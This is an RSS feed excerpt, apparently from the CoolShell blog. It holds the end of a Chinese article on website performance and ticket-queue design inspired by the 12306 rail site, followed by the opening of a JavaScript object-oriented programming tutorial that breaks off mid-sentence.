/strong>。</p>\n<h5>四、后端系统负载均衡</h5>\n<p>前面说了数据分区，数据分区可以在一定程度上减轻负载，但是无法减轻热销商品的负载，对于火车票来说，可以认为是大城市的某些主干线上的车票。这就需要使用数据镜像来减轻负载。使用数据镜像，你必然要使用负载均衡，在后端，我们可能很难使用像路由器上的负载均衡器，因为那是均衡流量的，因为流量并不代表服务器的繁忙程度。因此，我们需要一个任务分配系统，其还能监控各个服务器的负载情况。</p>\n<p>任务分配服务器有一些难点：</p>\n<ul>\n<li>负载情况比较复杂。什么叫忙？是CPU高？还是磁盘I/O高？还是内存使用高？还是并发高？还是内存换页率高？你可能需要全部都要考虑。这些信息要发送给那个任务分配器上，由任务分配器挑选一台负载最轻的服务器来处理。</li>\n</ul>\n<ul>\n<li>任务分配服务器上需要对任务队列，不能丢任务啊，所以还需要持久化。并且可以以批量的方式把任务分配给计算服务器。</li>\n</ul>\n<ul>\n<li>任务分配服务器死了怎么办？这里需要一些如Live-Standby或是failover等高可用性的技术。我们还需要注意那些持久化了的任务的队列如何转移到别的服务器上的问题。</li>\n</ul>\n<p>我看到有很多系统都用静态的方式来分配，有的用hash，有的就简单地轮流分析。这些都不够好，一个是不能完美地负载均衡，另一个静态的方法的致命缺陷是，如果有一台计算服务器死机了，或是我们需要加入新的服务器，对于我们的分配器来说，都需要知道的。另外，还要重算哈希（一致性hash可以部分解决这个问题）。</p>\n<p>还有一种方法是使用抢占式的方式进行负载均衡，由下游的计算服务器去任务服务器上拿任务。让这些计算服务器自己决定自己是否要任务。这样的好处是可以简化系统的复杂度，而且还可以任意实时地减少或增加计算服务器。但是唯一不好的就是，如果有一些任务只能在某种服务器上处理，这可能会引入一些复杂度。不过总体来说，这种方法可能是比较好的负载均衡。</p>\n<h5>五、异步、 throttle 和 批量处理</h5>\n<p>异步、throttle（节流阀） 和批量处理都需要对并发请求数做队列处理的。</p>\n<ul>\n<li>异步在业务上一般来说就是收集请求，然后延时处理。在技术上就是可以把各个处理程序做成并行的，也就可以水平扩展了。但是异步的技术问题大概有这些，a）被调用方的结果返回，会涉及进程线程间通信的问题。b）如果程序需要回滚，回滚会有点复杂。c）异步通常都会伴随多线程多进程，并发的控制也相对麻烦一些。d）很多异步系统都用消息机制，消息的丢失和乱序也会是比较复杂的问题。</li>\n</ul>\n<ul>\n<li>throttle 技术其实并不提升性能，这个技术主要是防止系统被超过自己不能处理的流量给搞垮了，这其实是个保护机制。使用throttle技术一般来说是对于一些自己无法控制的系统，比如，和你网站对接的银行系统。</li>\n</ul>\n<ul>\n<li>批量处理的技术，是把一堆基本相同的请求批量处理。比如，大家同时购买同一个商品，没有必要你买一个我就写一次数据库，完全可以收集到一定数量的请求，一次操作。这个技术可以用作很多方面。比如节省网络带宽，我们都知道网络上的MTU（最大传输单元），以态网是1500字节，光纤可以达到4000多个字节，如果你的一个网络包没有放满这个MTU，那就是在浪费网络带宽，因为网卡的驱动程序只有一块一块地读效率才会高。因此，网络发包时，我们需要收集到足够多的信息后再做网络I/O，这也是一种批量处理的方式。批量处理的敌人是流量低，所以，批量处理的系统一般都会设置上两个阀值，一个是作业量，另一个是timeout，只要有一个条件满足，就会开始提交处理。</li>\n</ul>\n<p>所以，<strong>只要是异步，一般都会有throttle机制，一般都会有队列来排队，有队列，就会有持久化，而系统一般都会使用批量的方式来处理</strong>。</p>\n<p><a href=\"http://blog.codingnow.com/2012/01/ticket_queue.html\" target=\"_blank\">云风同学设计的“排队系统”</a> 就是这个技术。这和电子商务的订单系统很相似，就是说，我的系统收到了你的购票下单请求，但是我还没有真正处理，我的系统会跟据我自己的处理能力来throttle住这些大量的请求，并一点一点地处理。一旦处理完成，我就可以发邮件或短信告诉用户你来可以真正购票了。</p>\n<p>在这里，我想通过业务和用户需求方面讨论一下云风同学的这个排队系统，因为其从技术上看似解决了这个问题，但是从业务和用户需求上来说可能还是有一些值得我们去深入思考的地方：</p>\n<p style=\"padding-left: 30px;\">1）<strong>队列的DoS攻击</strong>。首先，我们思考一下，这个队是个单纯地排队的吗？这样做还不够好，因为这样我们不能杜绝黄牛，而且单纯的ticket_id很容易发生DoS攻击，比如，我发起N个 ticket_id，进入购票流程后，我不买，我就耗你半个小时，很容易我就可以让想买票的人几天都买不到票。有人说，用户应该要用身份证来排队， 这样在购买里就必需要用这个身份证来买，但这也还不能杜绝黄牛排队或是号贩子。因为他们可以注册N个帐号来排队，但就是不买。黄牛这些人这个时候只需要干一个事，把网站搞得正常人不能访问，让用户只能通过他们来买。</p>\n<p style=\"padding-left: 30px;\">2）<strong>对列的一致性</strong>？对这个队列的操作是不是需要锁？只要有锁，性能一定上不去。试想，100万个人同时要求你来分配位置号，这个队列将会成为性能瓶颈。你一定没有数据库实现得性能好，所以，可能比现在还差。<strong>抢数据库和抢队列本质上是一样的</strong>。</p>\n<p style=\"padding-left: 30px;\">3）<strong>队列的等待时间</strong>。购票时间半小时够不够？多不多？要是那时用户正好不能上网呢？如果时间短了，用户不够时间操作也会抱怨，如果时间长了，后面在排队的那些人也会抱怨。这个方法可能在实际操作上会有很多问题。另外，半个小时太长了，这完全不现实，我们用15分钟来举例：有1千万用户，每一个时刻只能放进去1万个，这1万个用户需要15分钟完成所有操作，那么，这1千万用户全部处理完，需要1000*15m = 250小时，10天半，火车早开了。（我并非信口开河，<a href=\"http://t.cn/z0g7dGJ\" target=\"_blank\">根据铁道部专家的说明</a>：这几天，平均一天下单100万，所以，处理1000万的用户需要十天。这个计算可能有点简单了，我只是想说，<strong>在这样低负载的系统下用排队可能都不能解决业务问题</strong>）</p>\n<p style=\"padding-left: 30px;\">4）<strong>队列的分布式</strong>。这个排队系统只有一个队列好吗？还不足够好。因为，如果你放进去的可以购票的人如果在买同一个车次的同样的类型的票（比如某动车卧铺），还是等于在抢票，也就是说系统的负载还是会有可能集中到其中某台服务器上。因此，最好的方法是根据用户的需求——提供出发地和目的地，来对用户进行排队。而这样一来，队列也就可以是多个，只要是多个队列，就可以水平扩展了。这样可以解决性能问题，但是没有解决用户长时间排队的问题。</p>\n<p>我觉得完全可以向网上购物学习。<strong>在排队（下单）的时候，收集好用户的信息和想要买的票，并允许用户设置购票的优先级，比如，A车次卧铺买 不到就买 B车次的卧铺，如果还买不到就买硬座等等，然后用户把所需的钱先充值好，接下来就是系统完全自动地异步处理订单</strong>。成功不成功都发短信或邮件通知用户。这样，系统不仅可以省去那半个小时的用户交互时间，自动化加快处理，还可以合并相同购票请求的人，进行批处理（减少数据库的操作次数）。<strong>这种方法最妙的事是可以知道这些排队用户的需求，不但可以优化用户的队列，把用户分布到不同的队列，还可以像亚马逊的心愿单一样，通过一些计算就可以让铁道部做车次统筹安排和调整</strong>（最后，排队系统（下单系统）还是要保存在数据库里的或做持久化，不能只放在内存中，不然机器一down，就等着被骂吧）。</p>\n<h4>小结</h4>\n<p>写了那么多，我小结一下：</p>\n<p>0）<strong>无论你怎么设计，你的系统一定要能容易地水平扩展</strong>。也就是说，你的整个数据流中，所有的环节都要能够水平扩展。这样，当你的系统有性能问题时，“加30倍的服务器”才不会被人讥笑。</p>\n<p>1）<strong>上述的技术不是一朝一夕能搞定的，没有长期的积累，基本无望</strong>。我们可以看到，无论你用哪种都会引发一些复杂性，设计总是在做一种权衡。</p>\n<p>2）集中式的卖票很难搞定，使用上述的技术可以让订票系统能有几佰倍的性能提升。而在<strong>各个省市建分站，分开卖票，是能让现有系统性能有质的提升的最好方法</strong>。</p>\n<p>3）<strong>春运前夕抢票且票量供远小于求这种业务模式是相当变态的</strong>，让几千万甚至上亿的人在某个早晨的8点钟同时登录同时抢票的这种业务模式是变态中的变态。业务形态的变态决定了无论他们怎么办干一定会被骂。</p>\n<p>4）<strong>为了那么一两个星期而搞那么大的系统</strong>，而其它时间都在闲着，有些可惜了，这也就是铁路才干得出来这样的事了。</p>\n<p><em><strong>更新2012年9月27日 </strong></em></p>\n<p style=\"text-align: center;\"><strong> Alexa 统计的12306的PV</strong> （注：Alexa的PV定义是：一个用户在一天内对一个页面的多次点击只算一次）</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-8367\" title=\"12306\" src=\"https://coolshell.cn/wp-content/uploads/2012/01/12306.png\" alt=\"\" width=\"640\" height=\"352\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/01/12306.png 800w, https://coolshell.cn/wp-content/uploads/2012/01/12306-300x165.png 300w, https://coolshell.cn/wp-content/uploads/2012/01/12306-768x422.png 768w, https://coolshell.cn/wp-content/uploads/2012/01/12306-491x270.png 491w\" sizes=\"(max-width: 640px) 100vw, 640px\" /></p>\n<p>（<span style=\"color: #cc0000;\"><strong>本文转载时请注明作者和出处，请勿于记商业目的</strong></span>）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/10910.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/01/trade-off-150x150.jpg\" alt=\"分布式系统的事务处理\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10910.html\" class=\"wp_rp_title\">分布式系统的事务处理</a></li><li ><a href=\"https://coolshell.cn/articles/6790.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/03/o_conditional_update_1-150x150.png\" alt=\"多版本并发控制(MVCC)在分布式系统中的应用\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6790.html\" class=\"wp_rp_title\">多版本并发控制(MVCC)在分布式系统中的应用</a></li><li ><a href=\"https://coolshell.cn/articles/22242.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/05/etcd-150x150.png\" alt=\"ETCD的内存问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22242.html\" class=\"wp_rp_title\">ETCD的内存问题</a></li><li ><a href=\"https://coolshell.cn/articles/21672.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png\" alt=\"我做系统架构的一些原则\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21672.html\" class=\"wp_rp_title\">我做系统架构的一些原则</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/17737.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/03/Amazon-Web-Services-Down-150x150.png\" alt=\"AWS 的 S3 故障回顾和思考\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17737.html\" class=\"wp_rp_title\">AWS 的 S3 故障回顾和思考</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6470.html\">由12306.cn谈谈网站性能技术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/6470.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>369</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Javascript 面向对象编程</title>\n\t\t<link>https://coolshell.cn/articles/6441.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/6441.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 09 Jan 2012 00:16:27 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[ECMAScript]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[OOP]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=6441</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Javascript是一个类C的语言，他的面向对象的东西相对于C++/Java比较奇怪，但是其的确相当的强大，在 Todd 同学的“对象的消息模型”一文中我们已...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/6441.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/6441.html\">Javascript 面向对象编程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>Javascript是一个类C的语言，他的面向对象的东西相对于C++/Java比较奇怪，但是其的确相当的强大，在 <a href=\"http://www.cnblogs.com/weidagang2046/\" target=\"_blank\">Todd 同学</a>的“<a title=\"对象的消息模型\" href=\"https://coolshell.cn/articles/5202.html\" rel=\"bookmark\" target=\"_blank\">对象的消息模型</a>”一文中我们已经可以看到一些端倪了。这两天有个前同事总在问我Javascript面向对象的东西，所以，索性写篇文章让他看去吧，这里这篇文章主要想从一个整体的角度来说明一下Javascript的面向对象的编程。（<strong>成文比较仓促，应该有不准确或是有误的地方，请大家批评指正</strong>）</p>\n<p>另，这篇文章主要基于 <a href=\"http://www.ecma-international.org/publications/standards/Ecma-262.htm\" target=\"_blank\">ECMAScript 5</a>， 旨在介绍新技术。关于兼容性的东西，请看最后一节。</p>\n<h4>初探</h4>\n<p>我们知道Javascript中的变量定义基本如下：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">var name = &#039;Chen Hao&#039;;;\nvar email = &#039;haoel(@)hotmail.com&#039;;\nvar website = &#039;https://coolshell.cn&#039;;</pre>\n<p>如果要用对象来写的话，就是下面这个样子：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">var chenhao = {\n    name :&#039;Chen Hao&#039;,\n    email : &#039;haoel(@)hotmail.com&#039;,\n    website : &#039;https://coolshell.cn&#039;\n};</pre>\n<p>于是，我就可以这样访问：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">\n//以成员的方式\nchenhao.name;\nchenhao.email;\nchenhao.website;\n\n//以hash map的方式\nchenhao[&quot;name&quot;];\nchenhao[&quot;email&quot;];\nchenhao[&quot;website&quot;];\n</pre>\n<p>关于函数，我们知道Javascript的函数是这样的：</p>\n<p><span id=\"more-6441\"></span></p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">var doSomething = function(){\n   alert(&#039;Hello World.&#039;);\n};</pre>\n<p>于是，我们可以这么干：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">\nvar sayHello = function(){\n   var hello = &quot;Hello, I&#039;m &quot;+ this.name\n                + &quot;, my email is: &quot; + this.email\n                + &quot;, my website is: &quot; + this.website;\n   alert(hello);\n};\n\n//直接赋值，这里很像C/C++的函数指针\nchenhao.Hello = sayHello;\n\nchenhao.Hello();\n</pre>\n<p>相信这些东西都比较简单，大家都明白了。 可以看到javascript对象函数是直接声明，直接赋值，直接就用了。runtime的动态语言。</p>\n<p>还有一种比较规范的写法是：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">\n//我们可以看到， 其用function来做class。\nvar Person = function(name, email, website){\n    this.name = name;\n    this.email = email;\n    this.website = website;\n\n    this.sayHello = function(){\n        var hello = &quot;Hello, I&#039;m &quot;+ this.name  + &quot;, \\n&quot; +\n                    &quot;my email is: &quot; + this.email + &quot;, \\n&quot; +\n                    &quot;my website is: &quot; + this.website;\n        alert(hello);\n    };\n};\n\nvar chenhao = new Person(&quot;Chen Hao&quot;, &quot;haoel@hotmail.com&quot;,\n                                     &quot;https://coolshell.cn&quot;);\nchenhao.sayHello(); </pre>\n<p>顺便说一下，要删除对象的属性，很简单：</p>\n<p><code data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">delete chenhao[&#039;email&#039;]</code></p>\n<p>上面的这些例子，我们可以看到这样几点：</p>\n<ol>\n<li>Javascript的数据和成员封装很简单。没有类完全是对象操作。纯动态！</li>\n<li>Javascript function中的this指针很关键，如果没有的话，那就是局部变量或局部函数。</li>\n<li>Javascript对象成员函数可以在使用时临时声明，并把一个全局函数直接赋过去就好了。</li>\n<li>Javascript的成员函数可以在实例上进行修改，也就是说不同实例相同函数名的行为不一定一样。</li>\n</ol>\n<h4>属性配置 &#8211; Object.defineProperty</h4>\n<p>先看下面的代码：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">\n//创建对象\nvar chenhao = Object.create(null);\n\n//设置一个属性\n Object.defineProperty( chenhao,\n                &#039;name&#039;, { value:  &#039;Chen Hao&#039;,\n                          writable:     true,\n                          configurable: true,\n                          enumerable:   true });\n\n//设置多个属性\nObject.defineProperties( chenhao,\n    {\n        &#039;email&#039;  : { value:  &#039;haoel@hotmail.com&#039;,\n                     writable:     true,\n                     configurable: true,\n                     enumerable:   true },\n        &#039;website&#039;: { value: &#039;https://coolshell.cn&#039;,\n                     writable:     true,\n                     configurable: true,\n                     enumerable:   true }\n    }\n);\n</pre>\n<p>下面就说说这些属性配置是什么意思。</p>\n<ul>\n<li>writable：这个属性的值是否可以改。</li>\n<li>configurable：这个属性的配置是否可以改。</li>\n<li>enumerable：这个属性是否能在for&#8230;in循环中遍历出来或在Object.keys中列举出来。</li>\n<li>value：属性值。</li>\n<li>get()/set(_value)：get和set访问器。</li>\n</ul>\n<h4>Get/Set 访问器</h4>\n<p>关于get/set访问器，它的意思就是用get/set来取代value（其不能和value一起使用），示例如下：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">var  age = 0;\nObject.defineProperty( chenhao,\n            &#039;age&#039;, {\n                      get: function() {return age+1;},\n                      set: function(value) {age = value;}\n                      enumerable : true,\n                      configurable : true\n                    }\n);\nchenhao.age = 100; //调用set\nalert(chenhao.age); //调用get 输出101（get中+1了）;\n</pre>\n<p>我们再看一个更为实用的例子——利用已有的属性(age)通过get和set构造新的属性(birth_year)：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">\nObject.defineProperty( chenhao,\n            &#039;birth_year&#039;,\n            {\n                get: function() {\n                    var d = new Date();\n                    var y = d.getFullYear();\n                    return ( y - this.age );\n                },\n                set: function(year) {\n                    var d = new Date();\n                    var y = d.getFullYear();\n                    this.age = y - year;\n                }\n            }\n);\n\nalert(chenhao.birth_year);\nchenhao.birth_year = 2000;\nalert(chenhao.age);\n</pre>\n<p>这样做好像有点麻烦，你说，我为什么不写成下面这个样子：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">\nvar chenhao = {\n    name: &quot;Chen Hao&quot;,\n    email: &quot;haoel@hotmail.com&quot;,\n    website: &quot;https://coolshell.cn&quot;,\n    age: 100,\n    get birth_year() {\n        var d = new Date();\n        var y = d.getFullYear();\n        return ( y - this.age );\n    },\n    set birth_year(year) {\n        var d = new Date();\n        var y = d.getFullYear();\n        this.age = y - year;\n    }\n\n};\nalert(chenhao.birth_year);\nchenhao.birth_year = 2000;\nalert(chenhao.age);\n</pre>\n<p>是的，你的确可以这样的，不过通过defineProperty()你可以干这些事：<br />\n1）设置如 writable，configurable，enumerable 等这类的属性配置。<br />\n2）动态地为一个对象加属性。比如：一些HTML的DOM对像。</p>\n<h4>查看对象属性配置</h4>\n<p>如果查看并管理对象的这些配置，下面有个程序可以输出对象的属性和配置等东西：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">//列出对象的属性.\nfunction listProperties(obj)\n{\n    var newLine = &quot;&lt;br /&gt;&quot;;\n    var names = Object.getOwnPropertyNames(obj);\n    for (var i = 0; i &lt; names.length; i++) {\n        var prop = names[i];\n        document.write(prop + newLine);\n\n        // 列出对象的属性配置（descriptor）动用getOwnPropertyDescriptor函数。\n        var descriptor = Object.getOwnPropertyDescriptor(obj, prop);\n        for (var attr in descriptor) {\n            document.write(&quot;...&quot; + attr + &#039;: &#039; + descriptor[attr]);\n            document.write(newLine);\n        }\n        document.write(newLine);\n    }\n}\n\nlistProperties(chenhao);</pre>\n<h4>call，apply， bind 和 this</h4>\n<p>关于Javascript的this指针，和C++/Java很类似。 我们来看个示例：（这个示例很简单了，我就不多说了）</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">function print(text){\n    document.write(this.value + &#039; - &#039; + text+ &#039;&lt;br&gt;&#039;);\n}\n\nvar a = {value: 10, print : print};\nvar b = {value: 20, print : print};\n\nprint(&#039;hello&#039;);// this =&gt; global, output &quot;undefined - hello&quot;\n\na.print(&#039;a&#039;);// this =&gt; a, output &quot;10 - a&quot;\nb.print(&#039;b&#039;); // this =&gt; b, output &quot;20 - b&quot;\n\na[&#039;print&#039;](&#039;a&#039;); // this =&gt; a, output &quot;10 - a&quot;\n</pre>\n<p>我们再来看看call 和 apply，这两个函数的差别就是参数的样子不一样，另一个就是性能不一样，apply的性能要差很多。（关于性能，可到 <a href=\"http://jsperf.com/\" target=\"_blank\">JSPerf</a> 上去跑跑看看）</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">print.call(a, &#039;a&#039;); // this =&gt; a, output &quot;10 - a&quot;\nprint.call(b, &#039;b&#039;); // this =&gt; b, output &quot;20 - b&quot;\n\nprint.apply(a, [&#039;a&#039;]); // this =&gt; a, output &quot;10 - a&quot;\nprint.apply(b, [&#039;b&#039;]); // this =&gt; b, output &quot;20 - b&quot;</pre>\n<p>但是在bind后，this指针，可能会有不一样，但是因为Javascript是动态的。如下面的示例</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">var p = print.bind(a);\np(&#039;a&#039;);             // this =&gt; a, output &quot;10 - a&quot;\np.call(b, &#039;b&#039;);     // this =&gt; a, output &quot;10 - b&quot;\np.apply(b, [&#039;b&#039;]);  // this =&gt; a, output &quot;10 - b&quot;</pre>\n<h4>继承 和 重载</h4>\n<p>通过上面的那些示例，我们可以通过Object.create()来实际继承，请看下面的代码，Student继承于Object。</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"20\">\nvar Person = Object.create(null);\n\nObject.defineProperties\n(\n    Person,\n    {\n        &#039;name&#039;  : {  value: &#039;Chen Hao&#039;},\n        &#039;email&#039;  : { value : &#039;haoel@hotmail.com&#039;},\n        &#039;website&#039;: { value: &#039;https://coolshell.cn&#039;}\n    }\n);\n\nPerson.sayHello = function () {\n    var hello = &quot;&lt;p&gt;Hello, I am &quot;+ this.name  + &quot;, &lt;br&gt;&quot; +\n                &quot;my email is: &quot; + this.email + &quot;, &lt;br&gt;&quot; +\n                &quot;my website is: &quot; + this.website;\n    document.write(hello + &quot;&lt;br&gt;&quot;);\n}\n\nvar Student = Object.create(Person);\nStudent.no = &quot;1234567&quot;; //学号\nStudent.dept = &quot;Computer Science&quot;; //系\n\n//使用Person的属性\ndocument.write(Student.name + &#039; &#039; + Student.email + &#039; &#039; + Student.website +&#039;&lt;br&gt;&#039;);\n\n//使用Person的方法\nStudent.sayHello();\n\n//重载SayHello方法\nStudent.sayHello = function (person) {\n    var hello = &quot;&lt;p&gt;Hello, I am &quot;+ this.name  + &quot;, &lt;br&gt;&quot; +\n                &quot;my email is: &quot; + this.email + &quot;, &lt;br&gt;&quot; +\n                &quot;my website is: &quot; + this.website + &quot;, &lt;br&gt;&quot; +\n                &quot;my student no is: &quot; + this. no + &quot;, &lt;br&gt;&quot; +\n                &quot;my departent is: &quot; + this. dept;\n    document.write(hello + &#039;&lt;br&gt;&#039;);\n}\n//再次调用\nStudent.sayHello();\n\n//查看Student的属性（只有 no 、 dept 和 重载了的sayHello）\ndocument.write(&#039;&lt;p&gt;&#039; + Object.keys(Student) + &#039;&lt;br&gt;&#039;);\n</pre>\n<p>通用上面这个示例，我们可以看到，Person里的属性并没有被真正复制到了Student中来，但是我们可以去存取。这是因为Javascript用委托实现了这一机制。其实，这就是Prototype，Person是Student的Prototype。</p>\n<p>当我们的代码需要一个属性的时候，Javascript的引擎会先看当前的这个对象中是否有这个属性，如果没有的话，就会查找他的Prototype对象是否有这个属性，一直继续下去，直到找到或是直到没有Prototype对象。</p>\n<p>为了证明这个事，我们可以使用Object.getPrototypeOf()来检验一下：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">Student.name = &#039;aaa&#039;;\n\n//输出 aaa\ndocument.write(&#039;&lt;p&gt;&#039; + Student.name + &#039;&lt;/p&gt;&#039;);\n\n//输出 Chen Hao\ndocument.write(&#039;&lt;p&gt;&#039; +Object.getPrototypeOf(Student).name + &#039;&lt;/p&gt;&#039;);</pre>\n<p>于是，你还可以在子对象的函数里调用父对象的函数，就好像C++里的 Base::func() 一样。于是，我们重载hello的方法就可以使用父类的代码了，如下所示：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"3\">//新版的重载SayHello方法\nStudent.sayHello = function (person) {\n    Object.getPrototypeOf(this).sayHello.call(this);\n    var hello = &quot;my student no is: &quot; + this. no + &quot;, &lt;br&gt;&quot; +\n                &quot;my departent is: &quot; + this. dept;\n    document.write(hello + &#039;&lt;br&gt;&#039;);\n}</pre>\n<p>这个很强大吧。</p>\n<h4>组合</h4>\n<p>上面的那个东西还不能满足我们的要求，我们可能希望这些对象能真正的组合起来。为什么要组合？因为我们都知道是这是OO设计的最重要的东西。不过，这对于Javascript来并没有支持得特别好，不好我们依然可以搞定个事。</p>\n<p>首先，我们需要定义一个Composition的函数：（target是作用于是对象，source是源对象），下面这个代码还是很简单的，就是把source里的属性一个一个拿出来然后定义到target中。</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">\nfunction Composition(target, source)\n{\n    var desc  = Object.getOwnPropertyDescriptor;\n    var prop  = Object.getOwnPropertyNames;\n    var def_prop = Object.defineProperty;\n\n    prop(source).forEach(\n        function(key) {\n            def_prop(target, key, desc(source, key))\n        }\n    )\n    return target;\n}\n</pre>\n<p>有了这个函数以后，我们就可以这来玩了：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"19,23\">\n//艺术家\nvar Artist = Object.create(null);\nArtist.sing = function() {\n    return this.name + &#039; starts singing...&#039;;\n}\nArtist.paint = function() {\n    return this.name + &#039; starts painting...&#039;;\n}\n\n//运动员\nvar Sporter = Object.create(null);\nSporter.run = function() {\n    return this.name + &#039; starts running...&#039;;\n}\nSporter.swim = function() {\n    return this.name + &#039; starts swimming...&#039;;\n}\n\nComposition(Person, Artist);\ndocument.write(Person.sing() + &#039;&lt;br&gt;&#039;);\ndocument.write(Person.paint() + &#039;&lt;br&gt;&#039;);\n\nComposition(Person, Sporter);\ndocument.write(Person.run() + &#039;&lt;br&gt;&#039;);\ndocument.write(Person.swim() + &#039;&lt;br&gt;&#039;);\n\n//看看 Person中有什么？（输出：sayHello,sing,paint,swim,run）\ndocument.write(&#039;&lt;p&gt;&#039; + Object.keys(Person) + &#039;&lt;br&gt;&#039;);\n</pre>\n<h4>Prototype 和 继承</h4>\n<p>我们先来说说Prototype。我们先看下面的例程，这个例程不需要解释吧，很像C语言里的函数指针，在C语言里这样的东西见得多了。</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">var plus = function(x,y){\n    document.write( x + &#039; + &#039; + y + &#039; = &#039; + (x+y) + &#039;&lt;br&gt;&#039;);\n    return x + y;\n};\n\nvar minus = function(x,y){\n    document.write(x + &#039; - &#039; + y + &#039; = &#039; + (x-y) + &#039;&lt;br&gt;&#039;);\n    return x - y;\n};\n\nvar operations = {\n    &#039;+&#039;: plus,\n    &#039;-&#039;: minus\n};\n\nvar calculate = function(x, y, operation){\n    return operations[operation](x, y);\n};\n\ncalculate(12, 4, &#039;+&#039;);\ncalculate(24, 3, &#039;-&#039;);\n</pre>\n<p>那么，我们能不能把这些东西封装起来呢，我们需要使用prototype。看下面的示例：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"6,11\">var Cal = function(x, y){\n    this.x = x;\n    this.y = y;\n}\n\nCal.prototype.operations = {\n    &#039;+&#039;: function(x, y) { return x+y;},\n    &#039;-&#039;: function(x, y) { return x-y;}\n};\n\nCal.prototype.calculate = function(operation){\n    return this.operations[operation](this.x, this.y);\n};\n\nvar c = new Cal(4, 5);\n\nc.calculate(&#039;+&#039;);\nc.calculate(&#039;-&#039;);</pre>\n<p>这就是prototype的用法，prototype 